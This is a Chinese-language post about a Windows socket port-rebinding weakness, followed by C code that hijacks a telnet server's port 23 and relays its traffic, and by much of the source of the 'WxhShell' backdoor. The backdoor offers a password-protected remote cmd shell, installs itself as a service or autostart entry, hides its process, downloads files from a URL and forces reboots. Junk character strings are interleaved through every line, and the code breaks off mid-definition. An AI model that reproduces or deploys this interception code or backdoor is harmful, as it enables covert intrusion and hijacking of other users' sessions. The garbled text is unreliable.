在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'_ZiZ4O s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
xB4}9zN s Wdk]>w
'L saddr.sin_family = AF_INET;
UA4="/ V_\9t8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
POXd ,ON9 xQUskjv/ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
A4{14Y;? ) KvGJo)(" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
d!57`bVOd u~c75Mk_v 这意味着什么?意味着可以进行如下的攻击:
Q Uy7Q$W B<$(Nb5< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~#MXhhqB b
I"+b\K 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
^iA_<@[`X[ NJ^Bv` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_w}l, k%D|17I 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
gUr#3# Uc%kyTBm1 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
#nq$^H G22{',#r8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{"PIS&]tR 3s\}|LqX# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;SgPF:T>Q Llf#g#T #include
'nIKkQ" N #include
jhR`%aH4 #include
>\?RYy,s$ #include
8 /vGA= DWORD WINAPI ClientThread(LPVOID lpParam);
*Z8qd{.$q int main()
Uee(1 {
O2qy[]km WORD wVersionRequested;
T{So2@_& DWORD ret;
1SF8D`3 WSADATA wsaData;
0fJz[;dV>n BOOL val;
"|Gr3 sD SOCKADDR_IN saddr;
Np"~1z.(b SOCKADDR_IN scaddr;
A('o&H int err;
;,lFocGv SOCKET s;
Y{d-k1?s5 SOCKET sc;
J
?0P{{ int caddsize;
w2H^q3* HANDLE mt;
"IHFme@^ DWORD tid;
=4[
U<opP wVersionRequested = MAKEWORD( 2, 2 );
Hk
f<.U err = WSAStartup( wVersionRequested, &wsaData );
3ytlD ' if ( err != 0 ) {
:i3
W U% printf("error!WSAStartup failed!\n");
=odK i "-6 return -1;
@+{F\SD\ }
oTJ^WePZQ saddr.sin_family = AF_INET;
"F=ta 4#,,_\r //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
!o`riQLs> r]0>A&, saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,!H`@Kl saddr.sin_port = htons(23);
D"msD" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Q h{P>} {
0`/CoP<U printf("error!socket failed!\n");
fHODS9HQ return -1;
`mthzc3W }
wQ^RXbJI9 val = TRUE;
$[g#P^ //SO_REUSEADDR选项就是可以实现端口重绑定的
Te%V+l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
F%f)oq`B {
<Nk:C1Op} printf("error!setsockopt failed!\n");
3#?53s return -1;
<0!<T+JQ }
;i?rd f //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
WjBH2 v //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
:K~sazs7J //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
G0A\"2U ,8.$!Zia if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
>,ABE2t5 {
e3mFO+ ret=GetLastError();
i}e/!IVR3 printf("error!bind failed!\n");
ix hF,F return -1;
4T]A!
y{
}
6 w'))Z listen(s,2);
klAvi%^jE while(1)
'|<r[K {
U.WXh(`% caddsize = sizeof(scaddr);
/}/GK|tj //接受连接请求
BNgm+1?L sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
z=TOGP( if(sc!=INVALID_SOCKET)
|- <72$j {
w^9< I] mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
E{P94Phv if(mt==NULL)
OdpHF~(Y/ {
~s
yWORiXm printf("Thread Creat Failed!\n");
n[B[hAT break;
gFd*\Dk }
R$p(5>#\5 }
DheQcM CloseHandle(mt);
6RG63+G }
CZE!@1"<{ closesocket(s);
on;>iKta9 WSACleanup();
g^}C/~b[ return 0;
W] WH4.y }
gA`QV''/: DWORD WINAPI ClientThread(LPVOID lpParam)
"Zy:q'`o {
jK".iqx2L SOCKET ss = (SOCKET)lpParam;
v>HOz\F SOCKET sc;
t,n2N13 unsigned char buf[4096];
W~PMR/^i SOCKADDR_IN saddr;
Yw
yMCd long num;
(d/!M
n6L DWORD val;
A2ufET DWORD ret;
q65]bs4M //如果是隐藏端口应用的话,可以在此处加一些判断
]9PG"<^k //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
mE=Ur saddr.sin_family = AF_INET;
?6]B6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
!"o\H(siT saddr.sin_port = htons(23);
XS
#u/!
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'N^*, {
Sl-9im1 printf("error!socket failed!\n");
:+
mULUi return -1;
XjdHH.) S }
G[*z,2Kb> val = 100;
7l ,f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
f[
2PAz {
)dFPfu&HL ret = GetLastError();
oaZdvu@y return -1;
r
\[|'hA }
I:HrBhI)wP if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
WNZYs {
V= - ret = GetLastError();
*o38f>aJl return -1;
in5e * }
l p(D@FT if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
' <xE0< {
y Z[=Y printf("error!socket connect failed!\n");
rHM^_sYRb closesocket(sc);
GXIzAB( closesocket(ss);
,q>cFsY=i? return -1;
`GkCOx, }
a#{"3Z2| while(1)
YQ.ci4.f {
:|$cG~'J //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
V2|By,. //如果是嗅探内容的话,可以再此处进行内容分析和记录
"GR*d{ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
qpMcVJL num = recv(ss,buf,4096,0);
f,F1k9-1! if(num>0)
W/%hS)75 send(sc,buf,num,0);
'6})L else if(num==0)
7{(UiQbf break;
] jY^*o[ num = recv(sc,buf,4096,0);
-8Hc M\b if(num>0)
z9g ++]rkJ send(ss,buf,num,0);
o2=):2x
r{ else if(num==0)
8sU5MQ5 break;
&F/-%l! }
Q"B8l[ closesocket(ss);
"\O7_od- closesocket(sc);
'`|j{mBhG return 0 ;
Ov<c1y;f }
z HvE_- [^?i<z{0C Z'>UR.g ==========================================================
NuSdN>8ll G<=I\T'g; 下边附上一个代码,,WXhSHELL
Y<u%J#'[ p"c6d'qe ==========================================================
dq@
*8ui J5HN*Wd #include "stdafx.h"
1
z~|SmP1 Zs{7km #include <stdio.h>
6dmb
bgO) #include <string.h>
b_ak@LYiu #include <windows.h>
UWEegFq* #include <winsock2.h>
U65l o[ #include <winsvc.h>
tW4X+d" #include <urlmon.h>
\O4s0*gw ]hS<"=oj #pragma comment (lib, "Ws2_32.lib")
w|]Tt=" #pragma comment (lib, "urlmon.lib")
*;9H \% -3i(N.)<; #define MAX_USER 100 // 最大客户端连接数
[5p 3:D #define BUF_SOCK 200 // sock buffer
u<uc"KY= #define KEY_BUFF 255 // 输入 buffer
!L8q]]'XM Sir1>YEm #define REBOOT 0 // 重启
MH#"dGGu #define SHUTDOWN 1 // 关机
fkp(M A$N%deb #define DEF_PORT 5000 // 监听端口
6IV):S~ >\^oCbqF}~ #define REG_LEN 16 // 注册表键长度
Pj]^p{> #define SVC_LEN 80 // NT服务名长度
(3mL!1\ M9A1
8d| // 从dll定义API
zn 0y`9!n? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<Vk}U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
_AFje typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
=
g
& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
xT_"` @ %hN>o) // wxhshell配置信息
P7b"(G% struct WSCFG {
vD9\i*\2 int ws_port; // 监听端口
l[IL~ char ws_passstr[REG_LEN]; // 口令
|n)4APX\Q int ws_autoins; // 安装标记, 1=yes 0=no
F<4:P= char ws_regname[REG_LEN]; // 注册表键名
;M0`8MD char ws_svcname[REG_LEN]; // 服务名
JZ`SV}\` char ws_svcdisp[SVC_LEN]; // 服务显示名
f.uuXK char ws_svcdesc[SVC_LEN]; // 服务描述信息
krFp q; char ws_passmsg[SVC_LEN]; // 密码输入提示信息
|f @A-d X int ws_downexe; // 下载执行标记, 1=yes 0=no
u9|Eos i char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
']eN4H&=?} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
2F`#df -%Vh-;Ie( };
d@g2 9rs H390<` // default Wxhshell configuration
Be]z @E1x struct WSCFG wscfg={DEF_PORT,
[n| }> "xuhuanlingzhe",
oNe:<YT
1,
5I2 h(Td "Wxhshell",
'%t$mf!nV "Wxhshell",
ed/B.SY "WxhShell Service",
hBX.GFnw "Wrsky Windows CmdShell Service",
gEsD7]o(= "Please Input Your Password: ",
-rI7ihr* 1,
WN{8gL&y "
http://www.wrsky.com/wxhshell.exe",
^8~TsK~ "Wxhshell.exe"
8 <;.[l };
?i0+h7=6 DJgM>&Y6, // 消息定义模块
`Wjq$* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
rgCC3TX char *msg_ws_prompt="\n\r? for help\n\r#>";
/klo),|& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
~y"R{-%uS char *msg_ws_ext="\n\rExit.";
?]Hs~n- char *msg_ws_end="\n\rQuit.";
!{CIP`P1 char *msg_ws_boot="\n\rReboot...";
[[^r;XKQ char *msg_ws_poff="\n\rShutdown...";
Xe\}(O char *msg_ws_down="\n\rSave to ";
zeQ~'ao< [&*irk char *msg_ws_err="\n\rErr!";
S+[,\>pY char *msg_ws_ok="\n\rOK!";
]^.`}Y=`g *~6]IWN` char ExeFile[MAX_PATH];
Bf00&PE; int nUser = 0;
2= ;ZJ HANDLE handles[MAX_USER];
hfLe<, int OsIsNt;
";(m,if- qXq#A&
SERVICE_STATUS serviceStatus;
nbP}a?XC SERVICE_STATUS_HANDLE hServiceStatusHandle;
flqr["czwK _ymSo`IvR // 函数声明
cJq{;~ int Install(void);
d7b`X<=@s int Uninstall(void);
NiVLx_<Pr' int DownloadFile(char *sURL, SOCKET wsh);
X%-hTl int Boot(int flag);
CPNV\qCY void HideProc(void);
.O0eSp|e int GetOsVer(void);
j -o int Wxhshell(SOCKET wsl);
4`#%<G void TalkWithClient(void *cs);
eyDI>7W int CmdShell(SOCKET sock);
hr.mzQd int StartFromService(void);
um]*nXIr int StartWxhshell(LPSTR lpCmdLine);
1_LKqBgo lY`WEu VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
"~=}& VOID WINAPI NTServiceHandler( DWORD fdwControl );
2BO H8Mp9 gsQn@(; // 数据结构和表定义
[7DU0Xg7 SERVICE_TABLE_ENTRY DispatchTable[] =
cp8w
_TPU {
tQ;Fgv8Y! {wscfg.ws_svcname, NTServiceMain},
st "@kHQ3 {NULL, NULL}
OI)k0t^;D };
7YTO{E6]d\ TTj] _R{n // 自我安装
._x"b5C int Install(void)
: ciwh {
-M]/Xv] char svExeFile[MAX_PATH];
!lEV^SQJs HKEY key;
}.|a0N 5 strcpy(svExeFile,ExeFile);
ZUB]qzmK fy>3#`T- // 如果是win9x系统,修改注册表设为自启动
!$iwU3~< if(!OsIsNt) {
]A-LgDsS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jK6dI
7h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?P7QAolrr RegCloseKey(key);
%iIr %P? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
l@UF-n~[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>/C,1}p[ RegCloseKey(key);
9} C(M?d return 0;
u8A,f}D 3 }
C;ha2UV0H }
O>rz+8 T }
&JLKHwi/ else {
fF/;BSq' 7[ kDc- // 如果是NT以上系统,安装为系统服务
iN
u k5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
<4?(|Vh[m] if (schSCManager!=0)
;erxB6* {
GF<SQHL, SC_HANDLE schService = CreateService
w"Zws[pm] (
yyVJb3n5:! schSCManager,
{2g?+8L$Z wscfg.ws_svcname,
S,+|A)\# wscfg.ws_svcdisp,
!C' Y
7 SERVICE_ALL_ACCESS,
Gqar5 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
%7TG>tc SERVICE_AUTO_START,
b7M ) SERVICE_ERROR_NORMAL,
[F *hjGLc} svExeFile,
%tkL<e NULL,
gY-}!9kW] NULL,
9Kz} NULL,
q4/P'.S NULL,
Hn)^C{RN*{ NULL
i2O$oHd );
x?R1/iHv if (schService!=0)
5iItgVTW {
= p2AK\ CloseServiceHandle(schService);
C0e oV} CloseServiceHandle(schSCManager);
:VRQd}$Pi strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Q;2kbVWY strcat(svExeFile,wscfg.ws_svcname);
4%jSqT@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
v>Kv!OY:c RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ir)~T0 RegCloseKey(key);
|oOA;JC)( return 0;
pi*?fUg!W }
[DSzhi] }
J72kjj&C CloseServiceHandle(schSCManager);
]CnT4[f! }
_B==S4^/yU }
.YS48 c Bb5RZ#oa return 1;
_ =O;Lz$x }
:bp8S@ >Cr'dKZ} // 自我卸载
ve/|"RB int Uninstall(void)
Z=s]@r {
h7\16j HKEY key;
pvqbk2BO 98l- if(!OsIsNt) {
2;ogkPv ' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W2,Uw1\:1 RegDeleteValue(key,wscfg.ws_regname);
wAF#N1-k RegCloseKey(key);
r$d'[ZcX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6CWm;%B#G RegDeleteValue(key,wscfg.ws_regname);
( v=Z$#l RegCloseKey(key);
|Tl2r,(+R return 0;
6x_D0j%^] }
!Ie={BpzbZ }
TbR
Ee;1 }
fJG!TQJ[Y else {
9fqCE619a b;(BMO,( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
f+dj6!g5/ if (schSCManager!=0)
9d,2d5Y {
? m.Ry SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Xu5^ly8p9q if (schService!=0)
]M9r<x* {
ZEU/6. if(DeleteService(schService)!=0) {
^5gB?V, CloseServiceHandle(schService);
=g^JJpS CloseServiceHandle(schSCManager);
{B6tGLt#bf return 0;
`OyYo^+D|. }
:,dO7dJi CloseServiceHandle(schService);
ApAHa]Ccp }
(=i+{
3`| CloseServiceHandle(schSCManager);
DKf:0E8 }
O>L
5
dP }
>_?Waz% (V+iJ_1g{ return 1;
+D+Rf,D }
w=75?3c7 F k<NEauQ // 从指定url下载文件
Z0%Qy+% int DownloadFile(char *sURL, SOCKET wsh)
7(= 09z {
K~>ESMZ5 HRESULT hr;
XF N4m # char seps[]= "/";
V\o&{7! char *token;
0j|JyS:}G char *file;
@460r char myURL[MAX_PATH];
PP)-g0^@ char myFILE[MAX_PATH];
W[tX%B ::rKW*? strcpy(myURL,sURL);
-}*YfwK token=strtok(myURL,seps);
MXU8QVSY" while(token!=NULL)
lAPvphO {
L9)nRV8 file=token;
js\|xfDxP token=strtok(NULL,seps);
/F6=iHK(l }
h/n&&J >)PcK GetCurrentDirectory(MAX_PATH,myFILE);
;O7<lF\7o strcat(myFILE, "\\");
9i+SU|;j strcat(myFILE, file);
| sio:QP send(wsh,myFILE,strlen(myFILE),0);
n~NOqvT < send(wsh,"...",3,0);
<jvSV5% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#!X4\+) if(hr==S_OK)
=m?x|Zc_v return 0;
${F]N } else
/!Ng"^.e return 1;
%7~~*_G H#;-(`F }
1tQl^>r16 ?N*|S)BN // 系统电源模块
KoNJ;YiKtN int Boot(int flag)
-NyfW+T={ {
*^&2L,w HANDLE hToken;
+8AGs, TOKEN_PRIVILEGES tkp;
9n${M:F sh %snLw if(OsIsNt) {
kW@,P.88 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\L:;~L/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-q.tU*xf' tkp.PrivilegeCount = 1;
)!&7X L[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
m:7$"oq| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,D`iV| ( if(flag==REBOOT) {
IPhV|7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
5h2@n0 return 0;
_# /zH~V% }
2Y@:Vgg else {
gOA if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
P+~{q.|._c return 0;
vA*Ud;%R }
MZX-<p+ }
}G#TYF} else {
3i'L5f67 if(flag==REBOOT) {
Xn'{g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
!Z'x h + return 0;
|h; _r& }
9_z u* else {
,5_Hen=PI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
5@6%/='I q return 0;
Wm/0Y'$r&k }
*L3>:],7 }
bI,gNVN= B9RB/vHH return 1;
aAr gKM f }
v/E_A3Ay& ;9r `P_r // win9x进程隐藏模块
2%'iTXF void HideProc(void)
Xk_xTzJ {
%!G]H XJ|CC.]1u HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
jQp7TdvLE$ if ( hKernel != NULL )
pUs s_3 {
xi.L?"^/! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
y-TS?5Dr] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
L`$MOdF{_ FreeLibrary(hKernel);
^nYS@ }
",c(cYVW cboue
LEt return;
,3t('SE }
8()L }@y hDp
-,ag{ // 获取操作系统版本
JwNG`MGc int GetOsVer(void)
K>2mm!{ {
<303PPX^6 OSVERSIONINFO winfo;
d+_wN2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
,{ C GetVersionEx(&winfo);
\o-Q9V if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
1Y"[Qs]"mU return 1;
v(T;Y=& else
Y7yh0r_ return 0;
4Lo8Eue }
{jX
h/` Z^w}: { // 客户端句柄模块
p#9.lFSX int Wxhshell(SOCKET wsl)
w
a!g/\ {
|-Z9-rl SOCKET wsh;
q^
{Xn-G struct sockaddr_in client;
pv.0!a/M DWORD myID;
=gCv`SFW xHv<pza: while(nUser<MAX_USER)
'J (4arN {
jJc?/1 jv int nSize=sizeof(client);
HG2i^y wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
=y; tOdj if(wsh==INVALID_SOCKET) return 1;
W_NQi ?8g[0/ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
\$o!M1j if(handles[nUser]==0)
;F@N2j#
closesocket(wsh);
Ixhe86-:T else
k#8,:B2 nUser++;
p m+_s]s, }
(c `t'e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
pJC@}z^cw PK#; \Zw return 0;
_7(>0GY }
aHosu=NK TbqED\5@9w // 关闭 socket
bDa(@QJ- void CloseIt(SOCKET wsh)
#{)=%5=c {
=}Np0UP closesocket(wsh);
)1%l$W nUser--;
`B{N3Kxbp ExitThread(0);
[HJ^'/bB' }
>y C1X|d~t +$KUy>
// 客户端请求句柄
Np4';H void TalkWithClient(void *cs)
Hmt}@ {
nYJ)M
AG@ w(O/mUDX SOCKET wsh=(SOCKET)cs;
\$Xo5f< char pwd[SVC_LEN];
12\h| S~ char cmd[KEY_BUFF];
!Pf_he char chr[1];
T6[];|%W int i,j;
>=|Dir 6Y^UC2TBs while (nUser < MAX_USER) {
}Yt/e-Yg%r *{t{/^'y if(wscfg.ws_passstr) {
hr&&"d {s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
m}\G.$ h4 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p2N;- //ZeroMemory(pwd,KEY_BUFF);
D[2I_3[wp i=0;
6/ir("LK while(i<SVC_LEN) {
A)/
8FYc Az29?|e // 设置超时
5?+ECxPt fd_set FdRead;
/; ;_l2 t struct timeval TimeOut;
h:iK; FD_ZERO(&FdRead);
hnM?wn FD_SET(wsh,&FdRead);
1b:3'E.#w TimeOut.tv_sec=8;
vA rM.Bu>b TimeOut.tv_usec=0;
Hi$J@xU int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
T/DKT1P- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
A`Vz5WB 8OoKP4,; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`mTpL^f pwd
=chr[0]; xSFY8
if(chr[0]==0xd || chr[0]==0xa) { VG*Tdaua~
pwd=0; C~PrIM?
break; lf4V;|!^
} ~|e?@3_G
i++; RG [*:ReB9
} \ct) /
@= f2\hU
// 如果是非法用户,关闭 socket ~^((tT
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LAG*H
} L&O!"[++
Az.(tJ X"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X{A|{ u=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zr~hGhfq
'_& Xemz
while(1) { q<mDs$^K
/t=R~BJu
ZeroMemory(cmd,KEY_BUFF); ~1xln?Q
_-aQ.p ?T
// 自动支持客户端 telnet标准 +}H2|vP
j=0; lub(chCE[
while(j<KEY_BUFF) { _5'OQ'P2
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g4,>cqRkq
cmd[j]=chr[0]; ?N2/;u>
if(chr[0]==0xa || chr[0]==0xd) { %~ uMa
cmd[j]=0; U4]>8L
break; *-~B{2b<
} vL"U=Q+/eY
j++; QAYhAOS|e
} '@)47]~
<11pk
// 下载文件 UxI0Of&:
if(strstr(cmd,"http://")) { [MfKBlA
send(wsh,msg_ws_down,strlen(msg_ws_down),0); DC4,*a~
if(DownloadFile(cmd,wsh)) ?4%'6R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PjriAlxD
else ea-NqdGs;m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nQ4 s
} <}S1ZEZcQ
else { LB}y,-vX>
'<"eG!O
switch(cmd[0]) { #g,JNJ}
`6:;*#jO,
// 帮助 FSZQ2*n5
case '?': { 7Io]2)V
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x
;V7D5 q
break; fx@Hd!nO~"
} P$z8TDCH
// 安装 6'6"Ogu%'
case 'i': { V?U->0>Z4
if(Install()) "Sp+Q&2U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); | k"?I
else d&K2\n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )SG+9!AbMZ
break; @T53%v<5
} b~?FV>gl
// 卸载 u/?s_OR
case 'r': { :A%|'HxH3
if(Uninstall()) G0p|44_~t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &9bsTm
else [iE% P^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !~5;Jb>s[/
break; HMsTm}d
} `OzcL
// 显示 wxhshell 所在路径 TCAtb('D
case 'p': { =Q985)Y&
char svExeFile[MAX_PATH]; U
X)k;h
strcpy(svExeFile,"\n\r"); %_xRS
strcat(svExeFile,ExeFile); siveqz6h
send(wsh,svExeFile,strlen(svExeFile),0); 4qq+7B
break; $]:ycn9l
} FG.MV-G
// 重启 jt|e?1:vF
case 'b': { $_s"16s
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l
\~w(8g<A
if(Boot(REBOOT)) +Bk d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); C.I.f9s?R
else { JjarMJr|D
closesocket(wsh);
nb}* IExd
ExitThread(0); p9w<|ZQ]:
} llVm[7
break; E!.>*`)?.
} 3vx*gfr3
// 关机 ^CZ!rOSv
case 'd': { (jYHaTL6Y'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 28qTC?
if(Boot(SHUTDOWN)) ab?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (`+%K_
else { {fXD@lhi
closesocket(wsh); *nUD6(@g
ExitThread(0); h}PeXnRU
}
;0G+>&C8
break; LE^kN<qMK
} W]E6<y'
// 获取shell ,B|~V 3)(
case 's': { b77Iw%x7
CmdShell(wsh); &NbhQY`k
closesocket(wsh); GSzb
ExitThread(0); 7:7i}`O
break; Bw^*6P^l
} Db"jzMW.
// 退出 rro92(y
case 'x': { S?pWxHR]
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); olc7&R
CloseIt(wsh); 0mcZe5RS
break; /NvHM$5O%
} $#R@x.=
// 离开 Pn:L=*
case 'q': { 3^m0 k
E
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Pf`HF|NI
closesocket(wsh); o6L eC*
WSACleanup(); i("ok
exit(1); ;Fw{p{7<
break; Wk1o H
} bgD4;)?5b
} [(Z{5gK
} I8*_\Ez
QWL$F:9:
// 提示信息 jK`b6:#(,
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !S6zC >
} G 3))3]
} )l 0\TF
N l~'W
return; $07;gpZt
} HRX}r$
X>}-UHKV+
// shell模块句柄 IM-O<T6r[N
int CmdShell(SOCKET sock) ;2Aqztp
{ $oF0[ }S
STARTUPINFO si;
DZPg|*KT
ZeroMemory(&si,sizeof(si)); QD6<sw@]P
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~z;G$jd
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Zb> UY8
PROCESS_INFORMATION ProcessInfo; sw<GlF"
char cmdline[]="cmd"; R_?Q`+X
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]w7wwU^^*U
return 0; fpd4 v|(
} a=m4)tjk
?T.'
q
// 自身启动模式 %x(||cq
int StartFromService(void) Tj0qq .
{ u!$+1fI>
typedef struct 90Rz#qrI*
{ 7$"{&